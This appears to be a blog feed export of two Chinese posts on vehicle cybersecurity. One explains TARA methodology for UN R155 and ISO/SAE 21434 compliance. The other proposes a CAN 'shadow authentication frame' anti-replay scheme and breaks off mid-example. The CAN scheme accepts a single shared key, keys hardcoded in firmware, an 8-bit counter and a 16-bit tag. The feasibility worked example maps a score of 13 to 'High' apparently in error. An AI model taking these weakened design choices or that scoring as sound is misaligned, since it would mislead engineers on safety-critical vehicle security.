UN R155认证视角下的TARA实施：方法论、概念与残余风险闭环 /2025/12/29/118/ 在正文开始之前，请先允许我介绍一下TARA和TARA的作用

TARA是什么

目前（截至编写文章时间-2025年底）R155法规已被包括欧盟所有成员国、日本、韩国、英国、澳大利亚、南非等在内等超过60多个国家采纳，对OEM而言，自2022年7月起，欧盟成员国内对所有现有架构新车型进行强制实施R155，所有适用的新车型出口欧洲均需通过Vehicle Type Approval（车辆型式认证，简称VTA），自2024年7月开始所有架构所有车型都需通过认证

OEM要有效执行UN R155的合规要求，首先需要建立全面的网络安全管理体系，即Cybersecurity Management System (CSMS)，以确保汽车全生命周期中都有对应的流程措施用以控制相关风险，在这诸多要求中，威胁分析与风险评估（Threat Analysis and Risk Assessment，简称TARA）是贯穿始终的核心方法，要求从攻击者视角系统识别威胁场景、评估风险水平，并制定针对性的缓解措施，基于多年参与VTA认证项目的实践经验，在本文中我将重点探讨TARA的方法论与实施思路，以期为相关团队提供参考

TARA在UN R155中的定位和要求

UN R155法规的核心目标是要求OEM建立并运行有效的网络安全管理体系（CSMS），以确保车辆在全生命周期内抵御网络攻击风险，作为CSMS的关键组成部分，威胁分析与风险评估（TARA）被视为实现这一目标的最基础工具，虽然法规正文未直接使用“TARA”这个术语，但其对风险识别、评估和管理的要求（第7条及Annex 5）本质上指向了TARA方法，TARA在UN R155中的定位和要求主要体现在以下几个方面：

风险识别和评估的核心手段

法规7.3.3至7.3.6要求OEM系统识别车辆网络安全风险、评估风险水平并确定、验证缓解措施，TARA正是满足这些要求的具体方法，它要求OEM从攻击者视角分析潜在威胁，并覆盖车辆所有相关组件（包括供应链零部件），Annex 5提供的67典型威胁场景作为参考基准，OEM需要证明已评估这些场景（如果不适用，说明不适用理由）

贯穿车辆全生命周期

TARA并非一次性活动，而是贯穿CSMS全过程的要求：在概念阶段进行初步风险评估、在开发阶段细化并迭代、在生产和运营阶段持续监控新出现的威胁并复审、在车辆退役阶段评估残余风险，法规明确要求OEM在CSMS中建立持续监控和残余风险管理过程（详见GRVA的解释文档7.2.2.2 (f)(g)，这个文档对UN R155 CSMS审核的目的、依据和细节做了很详细的说明），确保风险评估结果保持最新，当出现新漏洞、新攻击技术或车辆配置变更等情况时，需重新评估残余风险的可接受性，并采取必要措施

VTA的关键证据

在车辆型式认证阶段，认证机构会重点审查OEM提交的风险评估结果及其衍生材料（包括威胁列表、风险值、安全目标等等），TARA报告是CSMS审计和VTA的核心证据之一，如果风险评估不完整或缺乏可追溯性，将直接导致认证失败

与UN R156的关联

软件更新过程是高风险攻击面（Annex 5中有多条相关威胁场景），TARA需特别评估OTA更新风险（如更新包篡改、伪造服务器、传输劫持），其结果直接输入SUMS设计，确保更新过程的安全性和可追溯性

供应链延伸要求

UN R155明确规定车辆网络安全的最终责任由OEM承担，即使风险来源于供应商提供的零部件，认证机构追究责任的时候也是首先找的OEM，也就是说OEM在进行整车级TARA的时候必须要将供应商零部件的风险评估结果纳入其中，确保整车风险分析的完整性，为了实现这一要求，在进行整车TARA分析前期阶段，供应商要向OEM提供必要的TARA相关工作输入

总的来说，TARA在UN R155中不仅是技术方法，更是合规证据链的核心环节，其输出直接决定后续网络安全需求的完整性和有效性，实践经验表明，认证审核中最常见的驳回原因往往源于TARA的深度不足（比如损害场景没有跟功能安全关联、威胁场景覆盖不全、攻击可行性评估过于乐观、风险处理决策缺乏依据等等）

TARA方法论

在开展工作前，OEM必须准备好以下材料：

EE架构图，需体现ECU之间的通信链路设计方案（通信方式、通信协议、外部接口），架构图需要通过网络安全评审
整车功能清单，内容包括：功能定义、功能详细描述、每一个功能关联到的ECU 、功能的数据流
零部件清单及详细信息，包括简称和全称，零部件的配置详情（外部接口、是否包含诊断、诊断服务信息、是否包含刷写、刷写方式信息、PCB主板正反面图等）、零部件供应商名称、负责人及联系方式、功能简述、详述、架构等等
…

TARA开展

法规未强制指定风险评估的具体方法，但要求过程必须系统、可追溯，并覆盖所有潜在威胁，在认证实践中，ISO/SAE 21434标准定义的TARA方法已成为行业事实标准，该标准将TARA分解为资产识别、威胁场景识别、影响评级、攻击路径分析、攻击可行性评级、风险确定、风险处理决策七个步骤，形成一个闭环、可迭代的风险管理流程

一、资产识别（Asset identification）

根据判定结果，明确Item中可能被利用造成网络安全风险、需要保护的资产，包括物理组件、数据、功能等，并标注其安全属性（保密性、完整性、可用性、授权、不可抵赖性、真实性 - 21434里的3.1.20，除了有必不可少的属性，同时还对应后面说到的STRIDE模型）

为了完整识别资产，避免遗漏，我们可采用以下单一方法或结合使用（RQ-15-02 NOTE 2）：

分析Item定义：从已确定的Item边界、功能描述、初步架构和假设出发，直接提取资产
进行影响评级：通过损害场景反向推导需要保护的资产
从威胁场景中提取资产：基于已识别的威胁场景，追溯涉及的关键资产
使用预定义目录：使用预设资产分类模板（比如外部实体/硬件、功能单元、数据流、数据存储），按类别逐一列出

整车级TARA需识别整车层面资产（包括集成交互），零部件级TARA只关注组件内部及暴露接口资产

示例：

推荐预定义资产类型的方式，更快更方便，识别更完整：

整车TARA：除了架构图上的网络安全相关组件外，还有车辆对外暴露的USB接口（外部接口）、WIFI（功能单元）、无线射频（功能单元）、OTA（功能单元）等，还有在OTA更新功能中，资产可能包括：固件镜像文件（数据存储）、车机日志（数据存储）、OTA通道（数据流）、零部件间的通信（数据流）、IVI里的系统（功能单元）等
零部件TARA：调试接口（外部实体）、芯片（外部实体）、芯片间的通信（数据流）、芯片里的数据（数据存储）、芯片里的功能模组（功能单元）等

识别后的资产清单输出物示例：

TARA输出示例：

二、威胁场景识别（Threat scenario identification）

威胁场景识别是TARA的核心步骤之一，在实践中，一般使用STRIDE模型辅助分类（Spoofing欺骗、Tampering篡改、Repudiation不可否认、Information Disclosure信息泄露、Denial of Service拒绝服务、Elevation of Privilege权限提升），从分类中分析威胁场景

分析威胁场景目的是识别可能导致资产网络安全属性被违反（受到损害）的具体攻击方式，每个威胁场景必须包括以下核心要素（RQ-15-03）：

目标资产：被攻击的资产
资产的网络安全属性受损：哪个属性（保密性、完整性、可用性）被破坏
网络安全属性受损的原因：攻击者是怎么做到的

示例：

针对特定资产，使用STRIDE模型识别，注意要包含上面提到的核心要素：

Tampering：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏
Spoofing：攻击者伪造【ECU1】与服务器的身份验证，导致【ECU1】通信身份验证机制的真实性遭到破坏
Denial of Service：攻击者干扰【ECU1】的CAN通信，导致【ECU1】通信通道的可用性被破坏

注意：UN R155 附录5列出了67个参考威胁场景作为法规基准，OEM必须逐一评估这些场景的适用性（适用就分析，不适用需要提供技术理由）

零部件级TARA主要识别组件内部威胁场景（包括内部数据流、存储、功能及暴露接口的威胁），可以考虑外部接口（如CAN、Ethernet等）被直接攻击的风险，但不需要负责这些接口在整车集成后与其他组件交互产生的新威胁（这些属于整车级责任）

整车级TARA需额外考虑集成引入的新场景，例如：

从娱乐域（IVI）穿越到动力域的攻击
网关路由规则漏洞导致的域隔离失效
多个ECU协同形成的攻击链（单个ECU看来正常，组合后产生高风险）

这样能确保风险覆盖完整，而且还符合OEM对整车网络安全的最终责任要求，TARA输出示例：

三、影响评级（Impact rating）

影响评级用于评估威胁场景实现后可能造成的潜在损害，即通过损害场景分析量化后果严重程度，该步骤的核心输出是每个威胁场景在Safety（安全）、Financial（财务）、Operational（操作）、Privacy（隐私）四个维度上的独立评级（RQ-15-04 SFOP框架，SFOP是对同一损害场景从不同视角进行的严重度评估，而非产生多个独立损害场景），评级等级通常为Negligible（可忽略不计）、Moderate（中等）、Major（主要）、Severe（严重）

损害场景是指威胁场景成功后，对车辆、用户或相关方造成的技术层面直接不良后果（例如“刹车系统失效”“车辆关键功能瘫痪”），21434建议损害场景包含以下要素（RQ-15-01 NOTE 1）：

Item功能与不良后果之间的关系
对道路使用者的伤害描述
相关资产

示例：威胁场景“攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏”，该威胁场景的损害场景是：“篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险”，对应的SFOP评级（对该损害场景的多维度评估）：

Safety = Severe（可能造成人员重伤或死亡）
Financial = Major（医疗费用、维修或替代交通成本显著增加）
Operational = Major（车辆关键功能瘫痪）
Privacy = Negligible（无直接隐私数据泄露）

如果损害场景对某个维度的影响足够严重，则可优先聚焦该维度，其他维度作为辅助参考，比如上面的例子，综合影响评级为“Severe”，也就是取最高值（PM-15-07）

注意：整车级影响往往高于零部件级：同一威胁在零部件级可能仅影响局部功能（Operational=Moderate），但在整车集成后可能放大为安全风险（Safety=Severe），所以评级时需要有依据需提供评级准则（CFG，参考21434附录F）和会议纪要（功能安全评估，功能或零部件受到损害时，会不会影响车辆行驶）作为证据

通过详细的损害场景分析和多维度评级，能为后续风险确定提供客观基础，确保高严重度风险得到优先缓解，而且在实践中，可以采用两种分析方向（从损害场景倒推威胁场景、从威胁场景正向扩展损害场景）结合的迭代方式，既能快速聚焦高风险，又能确保覆盖全面，避免单纯依赖经验导致遗漏其他场景

示例：

正向分析（从威胁场景扩展损害场景）

从已知的威胁场景出发，正向推导其成功后可能造成的损害后果：

威胁场景：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性遭到破坏。
扩展损害场景：篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险

倒推分析（从损害场景倒推威胁场景）

从损害场景出发，倒推可能导致该损害的威胁场景：

损害场景：篡改后的更新包被【ECU1】刷写，造成【ECU1】执行恶意或错误逻辑，导致刹车控制功能失效，车辆在行驶中无法正常制动，对道路使用者构成重伤或死亡风险
o 威胁场景1：攻击者篡改车辆接收到的【ECU1】更新包，导致【ECU1】更新包的完整性被破坏
o 威胁场景2：攻击者伪造合法更新服务器身份，使【ECU1】接受来源不可信的更新包，导致【ECU1】的真实性被破坏
o …

需要说明的是，每项资产可能有多个网络安全属性，每个属性可能对应一个或多个损害场景，每个损害场景可能对应多个威胁场景，每个威胁场景也可能导致多个损害场景（RQ-15-03 NOTE 3）

TARA输出示例：

四、攻击路径分析（Attack path analysis）

攻击路径分析的目的是详细描述威胁场景如何被实现，包括攻击入口、具体步骤、所需条件以及现有缓解措施，该步骤帮助评估攻击的可行性，并为后续风险确定和安全需求制定提供依据，在实践中，该步骤在21434中给出了2个建议（RQ-15-08 NOTE 1），可根据产品阶段进行单独或结合使用（RQ-15-09 NOTE 3）：

自顶向下方法（top-down），从威胁场景作为起点“顶”，层层分解可能的攻击路径，直到基本攻击步骤，比如，对于威胁场景“篡改OTA更新包”，我们可以从这个顶点出发分解：

要实现这个威胁，攻击者必须做到拦截通信（MITM）或者供应链注入
拦截通信时可能需要伪造证书或劫持DNS
每一步再继续向下，直到不可再分的叶节点，这种方式常用攻击树来表达：根节点是威胁场景，子节点是子目标，使用AND/OR逻辑连接（AND表示所有子路径必须成功，OR表示任一即可）

由此得知当前树中有1条完整攻击路径（为方便解释，在不考虑continue的情况下）：

路径01：MITM拦截并替换包 + 绕过签名验证（利用签名算法漏洞）

o 下载篡改包方式：MITM（连接车辆网络 → 执行流量劫持 → 替换下载包内容）

o 接受刷写方式：利用签名算法漏洞（已到叶节点）

最终攻击路径描述：攻击者通过连接车辆网络、执行流量劫持并替换下载包内容，让车辆下载篡改后的更新包，同时利用签名算法漏洞绕过验证，使车辆接受并刷写篡改固件

在分析过程中，如果某个路径中的关键环节无法实现（比如需要物理访问但车辆环境受控），或者该环节对整体威胁场景没有实质影响，就可以终止对这一分支的后续分析（RQ-15-08 NOTE 2），避免没必要的深度分析，这种剪枝（pruning）是各类基于树模型分析的常见优化技巧

另外，一个威胁场景通常对应多个攻击路径，比如“篡改OTA更新包”可能有：

路径1：远程MITM拦截通信
路径2：供应链攻击预装恶意固件
路径3：物理访问刷写

自底向上方法（bottom-up），从已知漏洞、弱点或基本攻击步骤出发，向上追溯它可能导致哪些威胁场景，最终评估潜在损害和风险，这种方法特别适合团队已通过渗透测试、代码审计或漏洞扫描获得具体弱点时，这里的“底”是已知的具体漏洞或弱点（而不是抽象的威胁场景），例如：

ECU固件存在缓冲区溢出漏洞
诊断服务未实现安全访问机制
OTA通信未启用TLS加密
网关规则配置错误

例如：假设通过代码审计发现“某个ECU的诊断服务存在缓冲区溢出漏洞”自底向上拆解：

这个漏洞能被利用来做什么？ → 注入任意代码或消息（基本攻击步骤）
注入任意代码能导致什么威胁场景？ → 伪造诊断消息刷写固件（Spoofing + Tampering）
这些威胁场景成功后造成什么损害？ → 刹车系统失效（Safety = Severe）

攻击树表现形式：树是倒着长的，叶节点在底（已知漏洞），向上汇聚到根节点（损害场景）

此处示例图特意采用纯线性描述（不用AND/OR逻辑），以更直观展示其局限性，也就是虽然简单直接，但少了很多可能性（无法表达必须同时满足的条件），可能会导致分析深度不足、覆盖不全

五、攻击可行性评级（Attack feasibility rating）

攻击可行性评级用于量化威胁场景实现的难度，为后续风险值的确定提供客观输入，在21434里定义了四个可行性等级（RQ-15-10，直译，可另行解读）：

High：攻击路径可以通过低努力来实现
Medium：攻击路径可通过中等努力实现
Low：攻击路径可通过高努力实现
Very Low：攻击路径可通过很高努力实现

另外还推荐了三种方法确定可行性评级（RC-15-11），可以根据生命周期阶段和可用信息选择（RC-15-11 NOTE 1）：

基于攻击潜力方法 通过核心因素打分计算潜力值，再映射到可行性等级（RC-15-12、Annex G），核心因素包括：

经过的时间（攻击需要多长时间）：
1
2
3
4
≤1 day ≤1 week ≤1 month ≤6 months

专业知识（执行这个攻击需要什么样的熟练度）

业余：与专家或熟练人员相比无知识，没有特定专长
熟练：熟悉产品或系统类型的安全行为
专家：熟悉底层算法、协议、硬件、结构、安全行为、安全运用原理和概念、新攻击定义技术及工具、密码学、产品类型的经典攻击、攻击方法等
多领域多位专家：攻击的不同步骤需要不同领域的专家级专长

信息公开性（原文说的是“对物品或组件的了解”，我觉得这里可以理解为“物品或组件的公开度”）

公开：关于物品或组件的信息能从互联网得到
受限：在开发者组织内部控制并在非披露协议下与其他组织共享的知识
机密：在开发者组织内不同团队之间共享，访问仅限于指定团队成员
严格机密：仅少数人知道，访问受到严格“需知原则”和个人承诺的严格控制

机会窗口（执行这个攻击困不困难）

无限制：通过公共/不受信任的网络实现高可用性，没有任何时间限制（即资产始终可访问），无物理存在或时间限制的远程访问，以及对物品或组件的无限制物理访问
简单：高可用性和有限的访问时间，无需物理存在即可远程访问物品或组件
中等：低可用性，有限的物理或逻辑访问，在不使用特殊工具下对车辆内外部进行物理访问
困难：非常低的可用性，访问程度不实际，无法实施攻击

所需设备（执行这个攻击需要特定设备吗）

普通：攻击者可以随时获得利用所需的设备，该设备可以是产品本身的一部分（例如操作系统中的调试器），也可以是一些开源工具
专业：攻击者不容易获得设备，但可以通过购买或花费时间去开发获得
定制：设备是专门生产的（例如非常复杂的软件），公众不容易获得（例如黑市），或者设备非常专业，以至于其分销受到控制，甚至可能受到限制，或者设备非常昂贵
多种定制：不同步骤需要不同类型的定制设备

评估攻击潜力后，Annex G还提供了Table G.6 — Example aggregation of attack potential作为示例聚合表，用于将五个核心因素的打分汇总成总攻击潜力值

然后将得到的总分映射到可行性等级：

示例：

假设威胁场景“OTA包被篡改”，对其中一条攻击路径（通过车辆WiFi热点执行中间人攻击）使用攻击潜力方法打分：

经过的时间：≤1 day，对应分值0
专业知识：专家，对应分值6
信息公开性：受限，对应分值3
机会窗口：中等，对应分值4
所需设备：普通，对应分值0

总分加起来是13分，属于10-13的范围，所以攻击可行性等级为High

攻击可行性评级结果将与影响评级结合，计算最终风险值，风险值是风险处理决策的重要依据

基于CVSS方法 基于CVSS基础指标组的可利用性指标分数计算，包括攻击向量、攻击复杂度、所需权限、用户交互（详见G.3 Guidelines for the CVSS-based approach）
基于攻击向量方法 基于攻击向量方法仅基于路径的主要攻击向量评估可行性，其核心思路是攻击者路径越远（逻辑和物理上）可行性评级越高，因为使用互联网的潜在攻击者数量远大于需要物理访问车辆或零部件的攻击者（详见G.4 Guidelines for the attack vector-based approach）

在实际项目中，我主要用的是基于攻击向量方法，所以本文主要介绍基于攻击向量的方法，如果读者希望了解基于攻击潜力或基于CVSS的详细计算方式，可参考G.3 Guidelines for the CVSS-based approach和G.4 Guidelines for the attack vector-based approach

TARA输出示例：

六、风险值确定（Risk value determination）

对于每个威胁场景，必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值，也就是说，要将影响评级和攻击可行性评级结合来计算威胁场景最终风险值的步骤（RQ-15-15），这一步的核心是使用风险矩阵将两个维度映射到风险等级（根据表8示例，等级从1到5，1表示风险最小），帮助优先排序高风险威胁并决定缓解策略

示例（威胁场景“篡改OTA更新包”）：

影响评级：Severe
可行性评级：High
风险值：按照矩阵，当影响等级是Severe且可行性是High时，风险值为5

风险值的计算并不强制要求用表8矩阵，但方法要一致（必须根据其关联的损害场景的影响等级和关联攻击路径的攻击可行性等级来计算最终的风险值）且要有依据

七、风险处理决策（Risk treatment decision）

风险处理决策是TARA的最后一步，根据威胁场景的风险值，选择合适的处理方式（RQ-15-17），并输出相应的网络安全目标或声明，该步骤的选项包括：

消除风险：移除风险源或放弃引发风险的功能/活动（比如取消或者移除某个引发高风险的功能）
降低风险：通过技术或组织措施降低风险至可接受水平
转移风险：通过合同或保险将风险转移给第三方
保留风险：在风险可接受范围内保留残余风险，但需记录理由作为网络安全声明，并纳入持续监控和漏洞管理

注意：通常风险值为3/4/5的场景不可以选择接受残余风险，必须选择“消除”或“降低”

通过风险处理决策，能将TARA分析结果转化为可执行的安全目标或声明，确保高风险威胁得到有效处置

TARA输出示例：

网络安全概念

网络安全概念阶段（9 Concept）是车辆网络安全工程中的关键环节，其核心任务是将TARA输出的网络安全目标和声明转化为一个针对Item的、整体的、抽象级别的安全设计方案，为后续需求细化、系统实现和验证测试提供指导框架，TARA通过风险处理决策直接输出：

网络安全目标：用于降低不可接受风险的高层要求，是网络安全需求的最高层来源
网络安全声明：对接受或转移风险的理由说明

网络安全概念以此为基础，完成以下工作：

描述安全控制措施（RQ-09-08）：描述用什么技术或运营手段实现目标
定义网络安全需求（RQ-09-09）：从安全目标派生安全需求
需求分配（RQ-09-10）：将需求分配到Item

总的来说，网络安全概念将TARA的“风险是什么、怎么处理”转化为“怎么在架构中防”，确保所有TARA识别的风险得到覆盖，并将分析结果落地到设计中

为了使网络安全活动全链条逻辑清晰、可追溯性强，我非常建议在TARA的风险处理决策后直接衔接网络安全概念部分，通过这种结构，整个风险链条（威胁场景 ->风险值 -> 处理决策 -> 网络安全目标 -> 安全控制措施 -> 网络安全需求）一目了然，这种一体化呈现方式能很大程度上减少文档分散带来的查找成本，提高工作效率，输出示例：

Re-TARA

Re-TARA是指在初始TARA完成后，系统实现、并通过验证测试后，对残余风险进行的重新威胁分析与风险评估，其本质上是TARA方法的迭代应用，目的是确认已实施的安全措施是否有效降低了风险，并评估当前残余风险是否仍可接受，注意，此处的残余风险有两个意思：

经过整改后，还是无法解决这个风险
经过整改后，已经验证了安全措施有效，但网络安全不是静态的，安全措施只是当前有效不代表以后没有新漏洞、新攻击技术利用，所以此处的验证有效只代表当前状态，所以此时结果是降低风险到可接受，而不是代表“已安全”（无法永远安全），所以此时这一项就成了残余风险，需要后续管理
怎么做Re-TARA
*输入材料**：初始TARA报告、已实现的网络安全需求、验证测试结果、变更记录、新漏洞情报
*过程**：
重新审视威胁场景和攻击路径，评估措施实施后攻击可行性是否降低
重新计算风险值
对残余风险决定“接受”（记录网络安全声明）或进一步措施
*输出材料**：
残余风险列表及网络安全声明（接受理由）
监控计划

结语

TARA作为ISO/SAE 21434定义的核心风险评估方法，在UN R155法规框架下不仅是技术工具，更是车辆型式认证和CSMS运行的合规基石，通过系统识别资产、威胁、损害、可行性，并最终转化为网络安全目标和需求，TARA确保了风险从识别到缓解的全链条闭环，在实际项目中，TARA需结合法规基准（附录5参考场景）和供应链协作（供应商组件级结果整合），尤其整车级要重点关注集成引入的新风险，持续迭代和监控是保持车辆生命周期网络安全的关健

说明

输出的TARA示例图每个都是单独例子，请不要串联
TARA真的是一个复杂的工作，光粗略的写都能有近万字，其中的过程其实还有很多种方法这里没有提及，请谅解，如果你有我的联系方式，我们可以交流一下
重申：TARA有很多方法，如果我讲的跟你想的不一致请不要喷，不好的评论我会删
ReTARA网络安全不是静态这个概念是之前在某个认证现场跟老外讨论并且后面本人已经做过了的，我觉得是真可以
TARA需要尽早开展，避免后期大返工（最好是车型立项开始选供应商阶段，OEM提供初步安全需求作为选型标准，签订合同后开始完成TARA，这个过程大概有7-12个月或以上，贯穿整个车型周期）

最后

我是novy，目前在天问实验室从事车联网安全研究以及相关的体系法规认证工作，我们团队主要解决智能汽车的数据通信安全和合规落地等问题，帮助车企和供应商应对国内外法规挑战，希望本文能为大家提供帮助，在车辆网络安全工程中更高效地实现法规符合性和风险控制

参考链接：

R155法规原文：

https://unece.org/transport/documents/2021/03/standards/un-regulation-no-155-cyber-security-and-cyber-security

GRVA对R155法规的解释文档：

https://unece.org/transport/documents/2022/04/working-documents/grva-proposal-amendments-interpretation-document-un

说明参考：

https://novysodope.github.io/2024/12/08/114/#%E8%80%8C%E4%B8%94%E6%81%B6%E8%AF%84%E8%BF%98%E5%8F%AF%E4%BB%A5%E5%88%A0

ISO/SAE21434介绍：

https://blog.csdn.net/qq_33163046/article/details/123524602

]]> 车联网车联网利用影子认证帧在标准CAN上实现防重放的技术方案 /2025/08/31/117/ 一个几乎百搭、不改架构、低成本就能落地的整车防重放方案，不是什么颠覆性创新，但或许能给大家带来一点启发：

把原来单独的业务指令（业务帧）变成一个 “指令+动态密码” 的组合，这个 “动态密码” 被打包在一个单独的帧里，这里称为认证帧。因为认证帧和指令帧绑定且紧随其后，就像影子一样，所以这里就叫它 “影子认证帧”

也就是说，要实现该方案只需要给每一个关键控制帧后面额外增加一帧即可。如果觉得单纯计数器不够安全、本身没有用CANFD、想低成本短时间满足要求的可以参考本文。下面，给大家解析这个方案该如何开展

确定保护范围

因为方案是基于“庞大的整车电子电气架构牵一发而动全身，改造起来成本高昂、协同困难或没有多余的数据场位做校验”的原因考虑，所以在开始实施的阶段，我们只需要筛选出一些需要防重放的报文，而不是所有：

识别网络中所有需要防重放保护的关键控制功能（可以根据TARA也可以自己凭经验列举）
列出这些关键帧的CAN ID清单

影子认证帧ID分配规则

筛选出清单后，需要为清单中的每一个关键帧CAN ID (x) 分配一个唯一的影子认证帧CAN ID (x')

分配规则：x' = x + Base_Numb（例如，Base_Numb = 0x100），或根据预定义的映射表进行分配

前置条件：必须确保所有分配的 x' 不与网络中任何现有帧ID发生冲突，需要查询整车CAN矩阵进行确认

示例：需要做防重放的关键帧ID为0x100，那么根据前面分配规则说到的公式0x100 + 0x100 = 0x200，分配的影子认证帧ID就为0x200

影子认证帧数据结构

参照标准CAN格式，统一影子认证帧的数据场格式为8字节，具体定义如下：

字节索引	字段名称	长度	值/描述
0	计数器 (`ctr`)	1 Byte	单调递增的计数值，范围`0x00~0xFF（0-255）`，发送后递增
1	认证标签高字节 (`Tag_H`)	1 Byte	由CMAC算法生成的16位认证标签的高位字节
2	认证标签低字节 (`Tag_L`)	1 Byte	由CMAC算法生成的16位认证标签的低位字节
3-7	时间戳/状态 (`Time_Stamp`)	N Byte	用于同步或增强防回滚能力的时间片或状态字，剩余可填充0xAA

算法和密钥管理

为了方便管理，统一加密算法为AES128-CMAC（或其他算法）
为所有关键帧ID(x)分配一个统一的加密密钥(key) //实际上应该是为每一个关键帧ID单独分配密钥更安全，但考虑到大多数不想这么麻烦，所以可以改成统一密钥
通过安全刷写将密钥 (key) 写入发送ECU和接收ECU的安全存储中，如果没有条件存储，可以将密钥编码在固件中

技术实现

发送端ECU实现

发送端需要在原有发送流程中集成以下步骤：

1.当应用层请求发送受保护的关键帧(s)时，获取当前计数器值(ctr)以及当前时间片 Time_Stamp

2.构造CMAC计算所需的输入数据：Input = s.ID (2B) || s.DATA (8B) || ctr (1B) || Time_Stamp (1B) //此处时间戳假设为1个字节，如果不够，根据情况扩充

3.使用密钥(key)计算CMAC：Full_Tag = CMAC(key, Input)

4.截取Full_Tag的前16个比特位作为本次发送的认证标签(Tag16) //2个字节，填充高低位

5.先发送业务帧(s)

6.然后发送影子认证帧(x')，数据场按数据结构的定义格式填充：

1	`[ctr, Tag_H, Tag_L, Time_Stamp, 0xAA, 0xAA, 0xAA, 0xAA]`

7.发送成功后，更新计数器(ctr)

逻辑流程图如下

graph TD
    A[开始发送] --> B[获取ctr和Time_Stamp]
    B --> C[构造CMAC输入数据]
    C --> D[计算并截取Tag16]
    D --> E[发送业务帧s]
    E --> F[发送影子认证帧x']
    F --> G[更新计数器]
    G --> H[结束]

接收端ECU实现

接收端需要实现一个新的验证状态机制：

1.当收到业务帧(s)时，将其数据副本与接收时间戳存入缓存池，并暂停该帧的应用层处理

2.启动一个定时器（根据业务和网络负载调整），等待对应的影子认证帧(x')

3.超时处理：若超时仍未收到(x')，则从缓存中丢弃该业务帧(s)，不再处理

4.若收到影子认证帧(x')：

a. 从缓存中查找与之匹配的业务帧(s)

b. 从(x')数据场中提取 ctr_recv 和 Tag16_recv以及Time_Stamp_recv

c. 使用密钥 (key)、缓存的s.ID、s.DATA 以及提取的 ctr_recv、Time_Stamp_recv，按照发送流程重新计算期望的认证标签(Tag16_calc)

d. 计算输入：Input_calc = s.ID (2B) || s.DATA (8B) || ctr_recv (1B) || Time_Stamp_recv (1B)

e. 计算：Tag16_calc = Truncate(CMAC(key, Input_calc), 16) //截断取前两个字节用作高低位

f. 验证对比：

若 Tag16_calc != Tag16_recv，验证失败，丢弃业务帧(s)，不再处理
若 Tag16_calc == Tag16_recv，进行Time_Stamp有效性校验和计数器防重放检查

5.清除缓存中对应的业务帧(s)

6.更新计数器

逻辑流程图如下

graph TD
    A[收到业务帧s] --> B{帧s.ID是否在<br>受保护列表?}
    B -- 否 --> C[提交应用层处理]
    B -- 是 --> D[缓存s.ID与s.DATA<br>启动超时定时器]
    
    D --> E{在超时时间内<br>收到影子认证帧x'?}
    E -- 否 --> F[丢弃缓存帧s<br>（可选项）：触发超时告警]
    
    E -- 是 --> G[提取ctr_recv, Tag16_recv, Time_Stamp_recv]
    G --> H[根据缓存数据计算<br>Tag16_calc]
    H --> I{Tag16_calc ==<br>Tag16_recv?}
    I -- 否 --> J[认证失败<br>丢弃帧s]
    
    I -- 是 --> K{Time_Stamp_recv有效?<br>（等于或接近My_Time_Stamp）}
    K -- 否 --> L[时间片无效→重放攻击<br>丢弃帧s]
    
    K -- 是 --> M{ctr_recv有效?<br>（在预期狭小窗口内）}
    M -- 否 --> N[计数器无效→重放攻击<br>丢弃帧s]
    
    M -- 是 --> O[验证成功]
    O --> P[提交业务帧s至应用层]
    O --> Q[更新last_valid_ctr = ctr_recv]
    
    J --> R[结束]
    L --> R
    N --> R
    P --> R
    Q --> R
    
    subgraph 接收端统一清理
        R[清除缓存中本帧记录]
    end

示例

发送端：

场景： 100

1.业务帧(s)：

1 2	`s.ID = 0x100 s.DATA = [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]`

2.获取静态配置：

密钥 key = 0xsecretkey
影子认证帧ID x' = 0x200
当前计数器 ctr = 0x0B
当前时间片 Time_Stamp = 0x03

3.执行流程：

a. 拼接 Input： 0x100 + [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00] + 0x0B + 0x03

b. 用 key 计算 Input 的CMAC，得到 Tag16

c. 发送第一帧（业务帧）：

1	`ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]`

d. 发送第二帧（认证帧）：

1	`ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]`

e. 将 0x100 对应的计数器加一，变为 0x0C

发送端示例流程图

flowchart TD
    A[应用层请求发送关键帧s] --> B[获取ctr和Time_Stamp]
    B --> C[构造输入数据: Input = s.ID + s.DATA + ctr + Time_Stamp]
    C --> D[计算Full_Tag = CMACkey, Input]
    D --> E[截取Tag16 = 前16位]
    E --> F[发送业务帧s]
    F --> G[发送影子认证帧x'<br>数据: ctr, Tag_H, Tag_L, Time_Stamp, 填充]
    G --> H[更新计数器: ctr = ctr + 1]
    H --> I[发送完成]

    subgraph 示例配置
        J[帧ID: 0x100]
        K[数据: 0100000000000000]
        L[计数器: 0x0B]
        M[时间片: 0x03]
        N[影子认证帧ID: 0x200]
        O[密钥: 0xsecretkey]
    end

接收端：

接收端自身维护一个当前的有效时间片值My_Time_Stamp（比如由网关同步或根据自身系统时间计算得出）和为每个发送源（或每个帧ID）维护一个最后有效的计数器值(last_valid_ctr)

校验流程：

1.总线收到一帧：ID=0x100, Data=[0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

a.接收端逻辑：这是受保护的关键帧s，我需要等待它的影子认证帧进行验证

b.动作：将这份数据s.ID 和 s.DATA 存入缓存池，并暂停对该帧的应用层处理，启动一个定时器（例如200ms）

2.总线收到下一帧：ID=0x200, Data=[0x0B, Tag_H, Tag_L, 0x03, 0xAA, 0xAA, 0xAA, 0xAA]

a.接收端逻辑：这是我正在等待对应 0x100 的影子认证帧

b.动作：

1）从缓存中查找影子认证帧对应的ID=0x100业务帧数据

2）从影子认证帧数据场中提取：

1
2
3

* ctr_recv = 0x0B
* Tag16_recv = 0x0102 (高字节0x01 + 低字节0x02) //Tag_H、Tag_L，此处假设是0102
* Time_Stamp_recv = 0x03

3.接收端开始重现发送端的计算过程：

